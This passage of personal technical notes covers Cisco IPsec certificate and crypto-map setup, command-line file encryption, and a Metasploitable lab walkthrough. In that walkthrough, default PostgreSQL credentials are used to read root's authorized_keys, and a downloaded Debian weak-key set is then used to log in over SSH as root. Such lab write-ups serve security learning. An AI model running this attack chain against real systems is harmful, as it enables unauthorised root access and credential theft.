/rdO8FrAKQ0SNNTRgT3MeJJX9iWbYcWj6atgntxxY5fLHszbXyohxnQieFjgq6oz
PuKXTEO3jIQhe+yZtg4fhbT/BN0CAwEAAaNQME4wHQYDVR0OBBYEFAV3rWlHkgVi
SgywgAlUCwqJL/3IMB8GA1UdIwQYMBaAFAV3rWlHkgViSgywgAlUCwqJL/3IMAwG
A1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADgYEAxSnlrZhAMH0FmTMlXVGlzWa1
Rf/8Q8TJ+bA3Z6LwaaPQb/+9oAnF7MVsLnhbWd7XEyn1AM7qxgrlhFidRMKFnoJq
cEevAM2hBbsxaE1EA0eWycsM/z8rA4Flnp8IKo/Wds0+L64FqRDjTfsBfcbRiCem
Nsick9kDj2oiDw+f6mY=
-----END CERTIFICATE-----

Certificate has the following attributes:
       Fingerprint MD5: B81F447E E0E17975 C95F9E27 10EA609E 
      Fingerprint SHA1: B373CB7E BF3CB28A 731A4142 C83C3770 95A8A98B 

% Do you accept this certificate? [yes/no]: yes
Trustpoint CA certificate accepted.
% Certificate successfully imported

router-2(config)# crypto pki authenticate INCAWETRUST

Enter the base 64 encoded CA certificate.
End with a blank line or the word "quit" on a line by itself

-----BEGIN CERTIFICATE-----
MIICqjCCAhOgAwIBAgIJANGQlt8Z5+XTMA0GCSqGSIb3DQEBBQUAMG4xCzAJBgNV
BAYTAkVTMQwwCgYDVQQIEwNDQVQxDDAKBgNVBAcTA0JDTjEOMAwGA1UEChMFQ0Fu
ZXQxFjAUBgNVBAMTDWNhbmV0LmxhYi5uZXQxGzAZBgkqhkiG9w0BCQEWDHJvb3RA
bGFiLm5ldDAeFw0xMjEwMDcxOTAzMjZaFw0yMjEwMDUxOTAzMjZaMG4xCzAJBgNV
BAYTAkVTMQwwCgYDVQQIEwNDQVQxDDAKBgNVBAcTA0JDTjEOMAwGA1UEChMFQ0Fu
ZXQxFjAUBgNVBAMTDWNhbmV0LmxhYi5uZXQxGzAZBgkqhkiG9w0BCQEWDHJvb3RA
bGFiLm5ldDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA1f6Y35sevFE14T33
5oRwMrCIZ8b6c2kLd1M9CqJqVlc0Ru37k/PLm4RmIy+d45JpL5GizuUn1XtAWI1N
/rdO8FrAKQ0SNNTRgT3MeJJX9iWbYcWj6atgntxxY5fLHszbXyohxnQieFjgq6oz
PuKXTEO3jIQhe+yZtg4fhbT/BN0CAwEAAaNQME4wHQYDVR0OBBYEFAV3rWlHkgVi
SgywgAlUCwqJL/3IMB8GA1UdIwQYMBaAFAV3rWlHkgViSgywgAlUCwqJL/3IMAwG
A1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADgYEAxSnlrZhAMH0FmTMlXVGlzWa1
Rf/8Q8TJ+bA3Z6LwaaPQb/+9oAnF7MVsLnhbWd7XEyn1AM7qxgrlhFidRMKFnoJq
cEevAM2hBbsxaE1EA0eWycsM/z8rA4Flnp8IKo/Wds0+L64FqRDjTfsBfcbRiCem
Nsick9kDj2oiDw+f6mY=
-----END CERTIFICATE-----

Certificate has the following attributes:
       Fingerprint MD5: B81F447E E0E17975 C95F9E27 10EA609E 
      Fingerprint SHA1: B373CB7E BF3CB28A 731A4142 C83C3770 95A8A98B 

% Do you accept this certificate? [yes/no]: yes
Trustpoint CA certificate accepted.
% Certificate successfully imported

Importing signed certificate

router-1(config)# crypto pki import INCAWETRUST certificate

Enter the base 64 encoded certificate.
End with a blank line or the word "quit" on a line by itself

-----BEGIN CERTIFICATE-----
MIICuzCCAiSgAwIBAgIBATANBgkqhkiG9w0BAQUFADBuMQswCQYDVQQGEwJFUzEM
MAoGA1UECBMDQ0FUMQwwCgYDVQQHEwNCQ04xDjAMBgNVBAoTBUNBbmV0MRYwFAYD
VQQDEw1jYW5ldC5sYWIubmV0MRswGQYJKoZIhvcNAQkBFgxyb290QGxhYi5uZXQw
HhcNMTIxMDA3MTkwNTE2WhcNMTMxMDA3MTkwNTE2WjBcMQswCQYDVQQGEwJFUzEM
MAoGA1UECBMDQ0FUMQ4wDAYDVQQKEwVDQW5ldDEUMBIGA1UECxMLRW5naW5lZXJp
bmcxGTAXBgNVBAMTEHJvdXRlci0xLmxhYi5uZXQwgZ8wDQYJKoZIhvcNAQEBBQAD
gY0AMIGJAoGBAMMkaelp374uX/YN0a6ZglZicHFPa5bJKWr/lEGGkqKDINaD/VYQ
F/Fz3YiZ0q7PjfwZegtb6vpJfAmR6zO+wW4qoo1923nMLzJkJwBDNaEzpEvfpRAq
FFler6QEYaEPJMgMHHyGA4S4L1KcroAJqm8+ZHZjvfxMFLEtrTTmhUhTAgMBAAGj
ezB5MAkGA1UdEwQCMAAwLAYJYIZIAYb4QgENBB8WHU9wZW5TU0wgR2VuZXJhdGVk
IENlcnRpZmljYXRlMB0GA1UdDgQWBBSB36sPwGsxSwhebYYRJpyQhfWDjzAfBgNV
HSMEGDAWgBQFd61pR5IFYkoMsIAJVAsKiS/9yDANBgkqhkiG9w0BAQUFAAOBgQCE
ZRG129/0ztU816TTELjM1cU1w36V5tIL4qkO9rTnpAD0C9IEo7G8ukRNaqmi8oTq
W3CXUkYb/YZ0f3WIUG4QWcUghKa0j1kwf4ynfhNghd5apI/OBbp8xoT9ENCGwPO2
SQLae5wpyIrZfcPRUc0O9LFKLWwmFga6GcJ5jj/jTg==
-----END CERTIFICATE-----

% Router Certificate successfully imported

router-2(config)# crypto pki import INCAWETRUST certificate

Enter the base 64 encoded certificate.
End with a blank line or the word "quit" on a line by itself

-----BEGIN CERTIFICATE-----
MIICuzCCAiSgAwIBAgIBAjANBgkqhkiG9w0BAQUFADBuMQswCQYDVQQGEwJFUzEM
MAoGA1UECBMDQ0FUMQwwCgYDVQQHEwNCQ04xDjAMBgNVBAoTBUNBbmV0MRYwFAYD
VQQDEw1jYW5ldC5sYWIubmV0MRswGQYJKoZIhvcNAQkBFgxyb290QGxhYi5uZXQw
HhcNMTIxMDA3MTkwNjI0WhcNMTMxMDA3MTkwNjI0WjBcMQswCQYDVQQGEwJFUzEM
MAoGA1UECBMDQ0FUMQ4wDAYDVQQKEwVDQW5ldDEUMBIGA1UECxMLRW5naW5lZXJp
bmcxGTAXBgNVBAMTEHJvdXRlci0yLmxhYi5uZXQwgZ8wDQYJKoZIhvcNAQEBBQAD
gY0AMIGJAoGBAKn5dhJgEXPWIEkShdK9aOyUxKYKU8ZQu65Vs6cqZ7xKRZQpvBRQ
rM/vedJLMxDLVsmqZFo2/ZkoEv/t+ZGpRwQovqYUtrPuL3CGlSJ47rlAsRpbU72y
Qy7BnOLCDNH+ts/H4DJmD/eojpYsqb81rINkrXTZ9wW4P3ksJjHgB3A9AgMBAAGj
ezB5MAkGA1UdEwQCMAAwLAYJYIZIAYb4QgENBB8WHU9wZW5TU0wgR2VuZXJhdGVk
IENlcnRpZmljYXRlMB0GA1UdDgQWBBRYwzzzHYzTAjqDr4vGvX9IuFQ6CjAfBgNV
HSMEGDAWgBQFd61pR5IFYkoMsIAJVAsKiS/9yDANBgkqhkiG9w0BAQUFAAOBgQBV
Bj+HKiujpOPJwiY09eY20FIIQUsMNEi5ni22rTMCoyyEeO2lnPPPHmtq2liT1CIl
kTdEW4R2QOSxVZQdcFXOBsN+LQ+3UWP8dB/kNE84RRaOvf42e8C6l86X1Q4WG6RG
4ag6X3enm8Q85XhY1F/1xpEFWrUsk4vBZfNFbw9/Ig==
-----END CERTIFICATE-----

% Router Certificate successfully imported

Configuring static crypto maps

router-1(config)# crypto isakmp policy 1
router-1(config-isakmp)# authentication rsa-sig
router-1(config-isakmp)# encryption aes
router-1(config-isakmp)# group 2
router-1(config-isakmp)# lifetime 86400
router-1(config)# crypto isakmp aggressive-mode disable
router-1(config)# crypto isakmp enable
router-1(config)# ip access-list extended CRYPTO_ACL
router-1(config-ext-nacl)# permit ip 192.168.1.0 0.0.0.255 192.168.2.0 0.0.0.255
router-1(config)# crypto ipsec transform-set TRANSFORM_SET esp-aes esp-sha-hmac
router-1(config)# crypto map CRYPTO_MAP 1 ipsec-isakmp
router-1(config-crypto-map)# set peer 12.12.12.2
router-1(config-crypto-map)# match address CRYPTO_ACL
router-1(config-crypto-map)# set transform-set TRANSFORM_SET
router-1(config-crypto-map)# set pfs group2
router-1(config)# interface fa0/0
router-1(config-if)# crypto map CRYPTO_MAP
router-1(config-if)# ip nat outside
router-1(config)# interface fa0/1
router-1(config-if)# ip nat inside
router-1(config)# ip route 192.168.2.0 255.255.255.0 12.12.12.2
router-1(config)# ip access-list extended ACL_NONAT
router-1(config-ext-nacl)# deny ip 192.168.1.0 0.0.0.255 192.168.2.0 0.0.0.255
router-1(config-ext-nacl)# permit ip any any
router-1(config)# ip nat inside source list ACL_NONAT interface fa0/0 overload

router-2(config)# crypto isakmp policy 1
router-2(config-isakmp)# authentication rsa-sig
router-2(config-isakmp)# encryption aes
router-2(config-isakmp)# hash sha
router-2(config-isakmp)# group 2
router-2(config-isakmp)# lifetime 86400
router-2(config)# crypto isakmp aggressive-mode disable
router-2(config)# crypto isakmp enable
router-2(config)# ip access-list extended CRYPTO_ACL
router-2(config-ext-nacl)# permit ip 192.168.2.0 0.0.0.255 192.168.1.0 0.0.0.255
router-2(config)# crypto ipsec transform-set TRANSFORM_SET esp-aes esp-sha-hmac
router-2(config)# crypto map CRYPTO_MAP 1 ipsec-isakmp
router-2(config-crypto-map)# set peer 12.12.12.1
router-2(config-crypto-map)# match address CRYPTO_ACL
router-2(config-crypto-map)# set transform-set TRANSFORM_SET
router-2(config-crypto-map)# set pfs group2
router-2(config)# interface fa0/0
router-2(config-if)# crypto map CRYPTO_MAP
router-2(config-if)# ip nat outside
router-2(config)# interface fa0/1
router-2(config-if)# ip nat inside
router-2(config)# ip route 192.168.1.0 255.255.255.0 12.12.12.1
router-2(config)# ip access-list extended ACL_NONAT
router-2(config-ext-nacl)# deny ip 192.168.2.0 0.0.0.255 192.168.1.0 0.0.0.255
router-2(config-ext-nacl)# permit ip any any
router-2(config)# ip nat inside source list ACL_NONAT interface fa0/0 overload

# Symmetric encryption from the command-line

OpenSSL

# openssl enc -aes-256-cbc -salt -in msg.txt -out msg.txt.enc
# openssl enc -aes-256-cbc -d -in msg.txt.enc -out msg.txt
# date | openssl enc -aes-256-cbc -salt -out msg.txt.enc
# openssl enc -aes-256-cbc -d -in msg.txt.enc > msg.txt

GnuPG

# gpg --cipher-algo AES256 --symmetric -o msg.txt.enc msg.txt
# gpg --decrypt -o msg.txt msg.txt.enc
# date | gpg --cipher-algo AES256 --symmetric -o msg.txt.enc
# gpg --decrypt msg.txt.enc > msg.txt

Mcrypt

# mcrypt --algorithm rijndael-256 --bare msg.txt
# mcrypt --algorithm rijndael-256 --bare --decrypt msg.txt.nc
# date | mcrypt --algorithm rijndael-256 --bare > msg.txt.nc
# cat msg.txt.nc | mcrypt --algorithm rijndael-256 --bare --decrypt > msg.txt

Ccrypt

# ccrypt --encrypt msg.txt
# ccrypt --decrypt msg.txt.cpt
# date | ccrypt --encrypt > msg.txt.cpt
# cat msg.txt.cpt | ccrypt --decrypt > msg.txt

# Metasploitable (postgres + openssl)

Introducción

Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit (Python)

Ejecución

# msfconsole
msf > nmap -sV -O -p 22,5432 192.168.1.50
[*] exec: nmap -sV -O -p 22,5432 192.168.1.50

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
5432/tcp open  postgresql PostgreSQL DB
MAC Address: 08:00:27:F7:38:97 (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.9 - 2.6.28
Network Distance: 1 hop
Service Info: OS: Linux

msf > search postgres
msf > use scanner/postgres/postgres_login
msf auxiliary(postgres_login) > set rhosts 192.168.1.50
msf auxiliary(postgres_login) > exploit
[+] 192.168.1.50:5432 Postgres - Logged in to 'template1' with 'postgres':'postgres'
[+] 192.168.1.50:5432 Postgres - Success: postgres:postgres (Database 'template1' succeeded.)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(postgres_login) > psql -h 192.168.1.50 -U postgres -W
[*] exec: psql -h 192.168.1.50 -U postgres -W

Password for user postgres:
create table sshkey (input text);
copy sshkey from '/root/.ssh/authorized_keys';
select * from sshkey;
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable
(1 fila)

# wget http://www.exploit-db.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2
# tar xvjf debian_ssh_rsa_2048_x86.tar.bz2
# cd rsa/2048
# grep -l AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w *.pub
57c3115d77c56390332dc5c49978627a-5429.pub
# ssh -i 57c3115d77c56390332dc5c49978627a-5429 root@192.168.1.50
root@metasploitable:~# uname -a
Linux metasploitable 2.6.24-16-server
root@metasploitable:~# whoami
root